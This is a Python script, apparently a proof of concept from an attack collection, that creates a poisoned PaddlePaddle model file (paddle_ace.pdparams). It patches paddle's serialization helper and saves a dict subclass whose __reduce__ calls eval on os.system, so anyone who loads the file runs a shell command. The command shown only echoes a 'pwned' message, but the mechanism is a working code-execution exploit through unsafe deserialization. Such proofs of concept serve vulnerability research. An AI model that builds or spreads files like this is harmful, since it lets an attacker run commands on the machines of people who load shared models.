attacks/paddle_ace_create.py (47 lines of code) (raw):
import paddle
import numpy as np
from collections import Iterable, OrderedDict
def _parse_every_object(obj, condition_func, convert_func):
if condition_func(obj):
return convert_func(obj)
elif isinstance(obj, (dict, OrderedDict, list)):
if isinstance(obj, list):
keys = range(len(obj))
else:
keys = list(obj.keys())
for key in keys:
if condition_func(obj[key]):
obj[key] = convert_func(obj[key])
else:
obj[key] = _parse_every_object(
obj[key], condition_func, convert_func
)
return obj
elif isinstance(obj, tuple):
return tuple(
_parse_every_object(list(obj), condition_func, convert_func)
)
elif isinstance(obj, set):
object(list(obj), condition_func, convert_func)
else:
return obj
# hack _parse_every_object method
paddle.framework.io._parse_every_object = _parse_every_object
class BadDict(dict):
def __init__(self, src: str, **kwargs):
super().__init__(**kwargs)
self.src = src
def __reduce__(self):
return (
eval,
(f"os.system('{self.src}') or dict()",),
None,
None,
iter(self.items()),
)
paddle.save(
[BadDict(
'echo "pwned your computer, I can do anything I want."',
**{"weight": paddle.zeros((2, 2))},
)],
"paddle_ace.pdparams",
)